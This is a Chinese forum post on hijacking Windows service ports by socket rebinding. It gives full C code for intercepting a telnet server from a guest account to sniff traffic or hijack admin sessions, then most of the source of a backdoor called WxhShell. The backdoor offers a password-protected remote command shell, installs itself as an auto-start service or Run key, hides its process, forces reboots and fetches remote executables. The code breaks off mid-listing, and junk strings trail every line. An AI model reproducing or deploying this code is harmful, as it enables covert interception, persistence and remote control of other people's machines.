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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B{/R: Hm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9Q.rMs>qj  
]Gzm^6v  
  saddr.sin_family = AF_INET; _uWpJhCT  
-^K"ZP1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7X`l&7IXP  
}\hVy(\c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )5rb&M}  
+j#+8Ze  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i=ea ?eT`  
C](f>)Dz /  
  这意味着什么?意味着可以进行如下的攻击: fA&k`L(y  
FFl!\y*0z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Sw:7pByjI  
+"x,x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3("_Z%  
j-0z5|*KE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M*y)6H k~  
O80<Z#%j`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <x@}01 ~  
-mAUo;O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gGvz(R: y  
t,QyfN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3Q"<<pi!~  
%;cddLQ\xY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7OC#8,  
u&1q [0y  
  #include cU RkP`  
  #include +vvv[  
  #include 7[w,:9& }  
  #include    mi ik%7>W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,kF1T,  
  int main() c(J!~7  
  { }e!x5g   
  WORD wVersionRequested; ?QsQnQ  
  DWORD ret; ,">]`|?  
  WSADATA wsaData; .|hf\1_J  
  BOOL val; C+'/>=>a.  
  SOCKADDR_IN saddr; mN~ci 0  
  SOCKADDR_IN scaddr; i;]"n;>+/  
  int err; R,gR;Aarw  
  SOCKET s; FR$:"  
  SOCKET sc; e7@ojOQ%  
  int caddsize; MTsM]o  
  HANDLE mt; E'G4Y-  
  DWORD tid;   `q?8A3A  
  wVersionRequested = MAKEWORD( 2, 2 ); H#NCi~M>3  
  err = WSAStartup( wVersionRequested, &wsaData ); }0eF~>Df  
  if ( err != 0 ) { ,.rs(5.z8/  
  printf("error!WSAStartup failed!\n"); ./,/y"x  
  return -1; @Gk ILFN  
  } \wo?47+=  
  saddr.sin_family = AF_INET; XR+Y=R  
   mX_a^_[G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }#.L7SIJ<J  
Q(lo{AFc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j2ve^F:Q  
  saddr.sin_port = htons(23); [ad@*KFxy3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *-MM<|Qt  
  { O]lSWEe  
  printf("error!socket failed!\n"); q ]M+/sl  
  return -1; @HQ`~C#Z'  
  } qLw{?sH}J/  
  val = TRUE; 9)}[7Mg:C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Px$/ _`H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Nd`%5%'::  
  { 1xD=ffM>8N  
  printf("error!setsockopt failed!\n"); ,-i zEr  
  return -1; aEM%R<e  
  } t0o`-d(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H GXt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #z&& M"*a|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H18Tn!RDS  
ZYI{i?Te#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E5)b  
  { 0*rQ3Z  
  ret=GetLastError(); (&}i`}v_  
  printf("error!bind failed!\n"); OZx W?wnd  
  return -1; M:-.o  
  } z*kutZ:6Y  
  listen(s,2); fBalTk;G{U  
  while(1) V=zi >o`   
  { _9JhL:cY  
  caddsize = sizeof(scaddr); e<=cdze  
  //接受连接请求 dls ss\c^M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WOQP$D9  
  if(sc!=INVALID_SOCKET) 4kG,*3 &2  
  { f#?fxUH~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <<(wa j  
  if(mt==NULL) k *Q<3@S  
  { fJ/e(t  
  printf("Thread Creat Failed!\n"); k%D+Y(WGz8  
  break; & @s!<9$W  
  } ?*E'^~,H)  
  } O J/,pLYu  
  CloseHandle(mt); u:[vaBh91  
  } U4gF(Q  
  closesocket(s); BDq%'~/^  
  WSACleanup(); BlXB7q,  
  return 0; !OBEM1~ 1  
  }   C!Rs^/  
  DWORD WINAPI ClientThread(LPVOID lpParam) T'4z=Z]w  
  { aCQ?fq  
  SOCKET ss = (SOCKET)lpParam; I 4,K43|  
  SOCKET sc; {jYOs l  
  unsigned char buf[4096]; .Jt[(;  
  SOCKADDR_IN saddr; V#cqRE3XNi  
  long num; s4^[3|Zrr0  
  DWORD val; ]!n*V/g  
  DWORD ret; ]|H]9mys98  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /%2:+w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B)_!F`9  
  saddr.sin_family = AF_INET; F! |TW6)gv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T3=-UYx]  
  saddr.sin_port = htons(23); iuvtj]/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) de3yP,  
  { fx8y`8}_  
  printf("error!socket failed!\n"); T2c_vY   
  return -1; JS<e`#c&  
  } 6$xo# }8  
  val = 100; ~ex~(AWh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w*|=k~z  
  { (ouRf;\6$8  
  ret = GetLastError(); u* #-7   
  return -1; g_-?h&W  
  } RZcx4fL}x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _47j9m]f  
  { [| c@Yw  
  ret = GetLastError(); G}Qk!r  
  return -1; 9-X{x95]  
  } mR!&.R?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N|j;=y!  
  { p@!@^1j=  
  printf("error!socket connect failed!\n"); >*<6 zQf  
  closesocket(sc); f4A4  
  closesocket(ss); LZZ:P  
  return -1; lEVQA*u[  
  } Y;~~?[6  
  while(1) UIm[DYMS  
  { 3. K{T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [F BCz>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i_jax)m%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1DI"LIL  
  num = recv(ss,buf,4096,0); N4Fy8qU;  
  if(num>0) D-2v>l_  
  send(sc,buf,num,0); ZmYSi$B  
  else if(num==0) rhzv^t  
  break; Npf7p  
  num = recv(sc,buf,4096,0); 1b %T_a  
  if(num>0) iA^+/Lt  
  send(ss,buf,num,0); ~T p8>bmSR  
  else if(num==0) Ok~W@sYST  
  break; J4*:.8Ki  
  } Ndug9j\2  
  closesocket(ss); ,;+91lR3  
  closesocket(sc); wn A%Nh7  
  return 0 ; q|]0on~ ]  
  } +ia(%[  
aJa^~*N/Aa  
>b!X&JU  
========================================================== -V<"Ay  
*G41%uz  
下边附上一个代码,,WXhSHELL Ps\^OJR  
cSk}53  
========================================================== V7_??L%Ct`  
??V["o T  
#include "stdafx.h" TeqsP1{?  
oH"N>@Vl  
#include <stdio.h> We?:DM [  
#include <string.h> V1A3l{>L  
#include <windows.h> =T$- #bA)  
#include <winsock2.h> ]]3D` F}  
#include <winsvc.h> ayp}TYh*  
#include <urlmon.h> G].KJ5,y  
bp,CvQ'}a  
#pragma comment (lib, "Ws2_32.lib") #KW:OFT  
#pragma comment (lib, "urlmon.lib") lZ_k307  
E76:}(  
#define MAX_USER   100 // 最大客户端连接数 HXI}f\6x  
#define BUF_SOCK   200 // sock buffer `0:@`)&g1  
#define KEY_BUFF   255 // 输入 buffer 0aWb s$FyU  
eVXbYv=gJ@  
#define REBOOT     0   // 重启 kM`#U *j  
#define SHUTDOWN   1   // 关机 y>8?RX8  
{eUfwPAa3  
#define DEF_PORT   5000 // 监听端口 e_TDO   
=w-H )  
#define REG_LEN     16   // 注册表键长度 ;zDc0qpw  
#define SVC_LEN     80   // NT服务名长度 q =6 Y2Q  
zn|}YovY+  
// 从dll定义API J~.kb k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <H6Uo#ao  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ZG1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  E"=$p $k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 's<}@-]  
g\'sGt3O  
// wxhshell配置信息 S# #W_OlrI  
struct WSCFG { tO7{g  
  int ws_port;         // 监听端口 'oG'`ED"  
  char ws_passstr[REG_LEN]; // 口令 ) |vFrR  
  int ws_autoins;       // 安装标记, 1=yes 0=no u:ISwAp  
  char ws_regname[REG_LEN]; // 注册表键名 s3J$+1M >  
  char ws_svcname[REG_LEN]; // 服务名 M_K&x-H0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1o%Hn"uG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &kvVMn ok  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2dfA}i>k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YSbN=Rj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AI2CfH#:C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *?{)i~  
;q Z2V  
}; G1rgp>m  
#'qW?8d}  
// default Wxhshell configuration lV8Mr6m  
struct WSCFG wscfg={DEF_PORT, wr`eBPu  
    "xuhuanlingzhe", _EP}el  
    1, +\4=G@P.J  
    "Wxhshell", lgl/| ^ Uw  
    "Wxhshell", I,D=ixK  
            "WxhShell Service", zx27aZ[  
    "Wrsky Windows CmdShell Service", bTj,5,8 i  
    "Please Input Your Password: ", ;6?K&}J)-  
  1, i|*:gH  
  "http://www.wrsky.com/wxhshell.exe", 2.yzR DfZ  
  "Wxhshell.exe" 8MIHp[vm%  
    }; ;\h'A(  
3I]5DW %-  
// 消息定义模块 [{YV<kN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uu ,Re  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VrpY BU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HO"(eDW6z  
char *msg_ws_ext="\n\rExit."; b~r ?#2K  
char *msg_ws_end="\n\rQuit."; ;Bm{_$hf=  
char *msg_ws_boot="\n\rReboot..."; I/'>Bn+  
char *msg_ws_poff="\n\rShutdown..."; $R6iG\V5  
char *msg_ws_down="\n\rSave to "; qz[qjGdHg  
)lh48Ag0t;  
char *msg_ws_err="\n\rErr!"; ZFYv|2l  
char *msg_ws_ok="\n\rOK!"; ^C$Oht,cU  
e1ts/@V  
char ExeFile[MAX_PATH]; M uz+j.0  
int nUser = 0; 5yBaxw`  
HANDLE handles[MAX_USER]; PW7{,1te,  
int OsIsNt; "u^%~2  
%8C,9q  
SERVICE_STATUS       serviceStatus; 2w"Xv,*.'i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0oR'"Vo  
dAg<BK/  
// 函数声明 *WTmS2?'h  
int Install(void); v|~&I%S7  
int Uninstall(void); FVY$A =G  
int DownloadFile(char *sURL, SOCKET wsh); N!me:|Dn  
int Boot(int flag); vl}fC@%WRI  
void HideProc(void); (h&XtFul}  
int GetOsVer(void); 3X|7 R  
int Wxhshell(SOCKET wsl); a* 2*aH7  
void TalkWithClient(void *cs); ly_@dsU'  
int CmdShell(SOCKET sock); }enS'Fpf`  
int StartFromService(void); 4 H 4W  
int StartWxhshell(LPSTR lpCmdLine); 5l_ >QB  
$4YyZ!_.@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "p Rr>Fa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v$n J$M&k  
A8|DB@ Bi  
// 数据结构和表定义 ~%gO+qD  
SERVICE_TABLE_ENTRY DispatchTable[] = _Fc :<Ym?  
{ F R57F(31  
{wscfg.ws_svcname, NTServiceMain}, t 0 omJP  
{NULL, NULL} ;7/ ;4Z  
}; J~jxmh  
l(Y U9dp  
// 自我安装 k 'CM^,F&  
int Install(void) HLL:nczj  
{ &<Iyb}tA?  
  char svExeFile[MAX_PATH]; heizO",8.&  
  HKEY key; >0XB7sC  
  strcpy(svExeFile,ExeFile); 6_rgj{L  
9>QGsf.3  
// 如果是win9x系统,修改注册表设为自启动 pwIu;:O!?  
if(!OsIsNt) { Sh@en\m=#S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &7 0o4~Fr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dGc<{sQzB  
  RegCloseKey(key); 6Wn"h|S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %@q/OVnM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^i;y2c  
  RegCloseKey(key); O>vbAIu  
  return 0; {p90   
    } LK>J]p  
  } s:p6oEQ=J  
}  0m&  
else { arQEi  
SWq5=h  
// 如果是NT以上系统,安装为系统服务 7^hwRZJ{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L/+KY_b:*  
if (schSCManager!=0) NA/hs/ '  
{ RJ63"F $  
  SC_HANDLE schService = CreateService 2a,l;o$2&  
  ( pD@2Mt0|]=  
  schSCManager, <H]1 6  
  wscfg.ws_svcname, Cg]Iz< <bE  
  wscfg.ws_svcdisp, Q>QES-.l  
  SERVICE_ALL_ACCESS, 2 D vKW%;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wOg?.6<Kxa  
  SERVICE_AUTO_START, gX'nFGqud  
  SERVICE_ERROR_NORMAL, Jx-dWfe  
  svExeFile, $LXz Q>w9  
  NULL, bMjE@S&  
  NULL, QRw/d}8l  
  NULL, naaww  
  NULL, CHGV1X,  
  NULL B098/`r  
  ); [@4.<4Y  
  if (schService!=0) J|gRG0O9Ya  
  { 2cu?2_,  
  CloseServiceHandle(schService); "4Bk  
  CloseServiceHandle(schSCManager); (Z)F6sZ`8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vi8)U]6  
  strcat(svExeFile,wscfg.ws_svcname); /l.ox.4z#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YB?5s`vr9d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F-&=N {+  
  RegCloseKey(key); $ KAOJc4<  
  return 0; B{dR/q3;@  
    } >`S $(f  
  } C\RJ){dk  
  CloseServiceHandle(schSCManager); 'U|Tye i?  
} ] l@Mo7|w  
} a}#8n^2  
y$h.k"x`  
return 1; ='U>P( R-  
} d:"#_  
NW AT"  
// 自我卸载 R32A2Ml  
int Uninstall(void)  tOEY|  
{ 4IUdlb  
  HKEY key; Jp#Onl+d6  
m&&Y=2  
if(!OsIsNt) { (h $[g"8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y2=`NG=  
  RegDeleteValue(key,wscfg.ws_regname); O3];1ud  
  RegCloseKey(key); z<h?WsL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4 >2g&);B  
  RegDeleteValue(key,wscfg.ws_regname); UU;U,q  
  RegCloseKey(key); A6faRi703  
  return 0; iI 4XM>`a  
  } =j&qat  
}  gK Uci  
} wSGW_{;-  
else { "u=U@1 ^  
"%[aWb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M>m+VsJV  
if (schSCManager!=0) |Js?@  
{ y'#i'0eeL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H-ewO8@  
  if (schService!=0) t,4'\nv*  
  { 8-clL\bm  
  if(DeleteService(schService)!=0) { 0[QVU,]<  
  CloseServiceHandle(schService); rfwX:R6,g  
  CloseServiceHandle(schSCManager); S)L(~ N1  
  return 0; IJzPWs5W:  
  } 16Gp nb  
  CloseServiceHandle(schService); 7 8n`VmH~L  
  } jYJRG<*e  
  CloseServiceHandle(schSCManager); *s[bq;$  
} 0n('F  
} k}tT l 2  
n `Ry!  
return 1; )(`HEl>-9c  
} s^6"qhTa  
sY*iRq  
// 从指定url下载文件 Pi&8!e<  
int DownloadFile(char *sURL, SOCKET wsh) 8*\PWl  
{ %*Aq%,.={  
  HRESULT hr; +w(>UBy-  
char seps[]= "/"; FXd><#U  
char *token; KH_~DZU*5  
char *file; C;BC@OE  
char myURL[MAX_PATH]; stcbM  
char myFILE[MAX_PATH]; B33H,e)  
L kA_M'G  
strcpy(myURL,sURL); U) B^R  
  token=strtok(myURL,seps); PY{])z3N  
  while(token!=NULL) ~4{|  
  { EKTn$k=  
    file=token; e/* T,ZJ  
  token=strtok(NULL,seps); [fl x/E  
  } ~o?(O1QY  
(I7s[  
GetCurrentDirectory(MAX_PATH,myFILE); 1w|C+m/(  
strcat(myFILE, "\\"); Wd78 bu|  
strcat(myFILE, file); c^a D r  
  send(wsh,myFILE,strlen(myFILE),0); LRa^x44  
send(wsh,"...",3,0); O>)Fl42IeD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !caY  
  if(hr==S_OK) . v L4@_  
return 0; FvTc{"w /  
else ^_C]?D?  
return 1; Jg:%|g  
hCvK2Xu   
} i=mk#.j~  
jXu)%<  
// 系统电源模块 %hM8px4d  
int Boot(int flag) dd&n>A3O=  
{ qS.TVNZ  
  HANDLE hToken; :l/?cV;  
  TOKEN_PRIVILEGES tkp; QgZ`~  
@_ Q  
  if(OsIsNt) { EJ&aT etQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %40uw3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ecg>_%.>  
    tkp.PrivilegeCount = 1; (^)" qs B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |gP9^B?3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R<-u`uX nP  
if(flag==REBOOT) { m.|__L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @s[Vtw%f  
  return 0; /j|Rz5@ =  
} rQ+2 -|#  
else { ,dZ&i! @?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `5$B"p&i  
  return 0; C>bd HB7  
} iJH;OV;P  
  } 1+0DTqWz  
  else { 1_Ag:> #X  
if(flag==REBOOT) { @2HNYW)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4PsJs<u  
  return 0; I<v:x Tor  
} &t0toEj  
else { k 6)ThIG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &F xw19[G  
  return 0; iR`c/  
} N9s ,..  
} W\W|v?r  
XX@@tzN  
return 1; f-M9OI  
} WOgPhJ  
NDt +m  
// win9x进程隐藏模块 OB&lq.r  
void HideProc(void) P{{pp<tX*&  
{ kS@6'5U  
S9'8rn!_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k- ?:0  
  if ( hKernel != NULL ) ?mjQN|D  
  { :vqfWK6mv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9)Jc'd|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ML|O2e  
    FreeLibrary(hKernel); %I&[:  
  } iTgv8  
E(l'\q'.  
return; S<+/Ep 2  
} ;is*[r\|1  
< mb.F-8  
// 获取操作系统版本 _ zh>q4M  
int GetOsVer(void) jw^Pt~@  
{ 2?)bpp$WZ  
  OSVERSIONINFO winfo; R p!R&U/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -X)KY_Xn@/  
  GetVersionEx(&winfo); 3*DwXH+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )kq3q5*_  
  return 1; U!0 Qf7D  
  else &vy/Vd  
  return 0; @L)=epC  
} : Y{aa1  
\U1fUrw$*  
// 客户端句柄模块 <}^W9 >u<  
int Wxhshell(SOCKET wsl) RuW62QSq  
{ ?&H1C4   
  SOCKET wsh; YRkp(}*!\  
  struct sockaddr_in client; -\.'WZo`  
  DWORD myID; 5g{L -8XwI  
b`4R`mo  
  while(nUser<MAX_USER) ~"Pu6-\VT  
{ _>G=v!  
  int nSize=sizeof(client); \Lz2"JI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I1H} 5 bf3  
  if(wsh==INVALID_SOCKET) return 1; X>n\@rTo  
rt7Ma2tK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qo4+=^(  
if(handles[nUser]==0) o4)^U t+  
  closesocket(wsh); x<0-'EF/S  
else H?dmNwkPY  
  nUser++; v}=3  
  } kp4*|$]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *3yeMxa  
k~(j   
  return 0; Q]';1#J\  
} o@?3i+%}8  
^lqcF.  
// 关闭 socket <&7KcvBn"4  
void CloseIt(SOCKET wsh) p< fKj  
{ OHqc,@a;+  
closesocket(wsh); FtUOgL)|  
nUser--; idwiM|.iU  
ExitThread(0); uC3o@qGW<  
} c2}?[\U]  
Hev S}L  
// 客户端请求句柄 Kilq Jg1%C  
void TalkWithClient(void *cs) Md \yXp  
{ r( _9_%[  
_P!J0  
  SOCKET wsh=(SOCKET)cs; ,3G8afo  
  char pwd[SVC_LEN]; `;7^@k  
  char cmd[KEY_BUFF]; h[D"O6 y  
char chr[1]; / r#.BXP  
int i,j; 6V=69}  
D?w?0b Eu  
  while (nUser < MAX_USER) { N[ %^0T$  
K/Q^8%Z  
if(wscfg.ws_passstr) { kji*7a?y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .*u, !1u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] X,C9  
  //ZeroMemory(pwd,KEY_BUFF); >9{Gdq[gyr  
      i=0; ;z;O}<8s  
  while(i<SVC_LEN) { _B` '1tNx  
/TTmMx*  
  // 设置超时 \|Pp%U [  
  fd_set FdRead;  Z(p kj  
  struct timeval TimeOut;  ?[Od.  
  FD_ZERO(&FdRead); Hm|8ydNs  
  FD_SET(wsh,&FdRead); 'c 0]8Y 4  
  TimeOut.tv_sec=8; 'rJkxU{  
  TimeOut.tv_usec=0; WjxO M\?#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ANEW^\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SMVn2H@  
F}P+3IaE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ahNpHTPa  
  pwd=chr[0]; ^)Xl7d|m+  
  if(chr[0]==0xd || chr[0]==0xa) { dEU +\NY  
  pwd=0; K_ P08  
  break; q"OvuHBSOn  
  } ^ZX71-  
  i++; ^>02,X mk  
    } z{U2K '  
T+7O+X#  
  // 如果是非法用户,关闭 socket "ewSh<t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4QODuyl2H  
} X TpYf  
nZe2bai  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )IQa]A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H(U`S  
]NS{q85  
while(1) { e;9Z/);#s  
t<5 $85Y~  
  ZeroMemory(cmd,KEY_BUFF); LIYj__4=|  
45e-A{G~  
      // 自动支持客户端 telnet标准   ]ovP^]]V  
  j=0; 4{JoeIRyz  
  while(j<KEY_BUFF) { zKB$n.H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "w.gP8`  
  cmd[j]=chr[0]; 5[3vu p?  
  if(chr[0]==0xa || chr[0]==0xd) { aI]EwVz-q  
  cmd[j]=0; F]kn4zr  
  break; KECo7i=e  
  } qScc~i Oq  
  j++; I;xrw?=\L  
    } (Tt\6-  
*@`Sx'5!  
  // 下载文件 34S0W]V  
  if(strstr(cmd,"http://")) { )Y.H*ca  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yf7p,_E/  
  if(DownloadFile(cmd,wsh)) ~>v v9-_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <4r3ZV;'  
  else s`Z | A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?:DeOBAb  
  } SVKjhZK  
  else { ,gAa9  
ZBYFQTEE  
    switch(cmd[0]) { L-. +yNX)  
  />^sGB  
  // 帮助 <k59Ni9  
  case '?': { =^a Ngq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h=:Ls]ZU  
    break; o@T-kAEf-.  
  } m5i?<Ko@  
  // 安装 KV&4Ep#  
  case 'i': { yhTC?sf<  
    if(Install()) >JOEp0J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); );*:Uz sC_  
    else 05 56#U&>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tfsx&k\  
    break; !q]@/<=  
    } lqaOLZH  
  // 卸载 z[vHMJ 0  
  case 'r': { e'nhP  
    if(Uninstall())  ylTX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tj(DdR#w  
    else Go;fQ yG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * I)F5M  
    break; QVT|6znw  
    } )h0 3sv  
  // 显示 wxhshell 所在路径 W=-:<3XL  
  case 'p': { /9QC$Z):<  
    char svExeFile[MAX_PATH]; Kg8n3pLAX  
    strcpy(svExeFile,"\n\r"); |[+/ ]Y  
      strcat(svExeFile,ExeFile); 1@}s:  
        send(wsh,svExeFile,strlen(svExeFile),0); a8w/#!^34  
    break; I9VU,8~  
    } b=$(`y  
  // 重启 2=]Xe#5J=  
  case 'b': { _GW,9s^A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P >>VBh?  
    if(Boot(REBOOT)) j 3t,Cx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 59k[A~)~  
    else { S-$N!G~!  
    closesocket(wsh); Id/-u[-yo  
    ExitThread(0); ky^p\dMh  
    } aBN^J_  
    break; nSM8o<)H  
    } U>,E]'  
  // 关机 M'n2j  
  case 'd': { ey~5DY7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (rHS2SA\5  
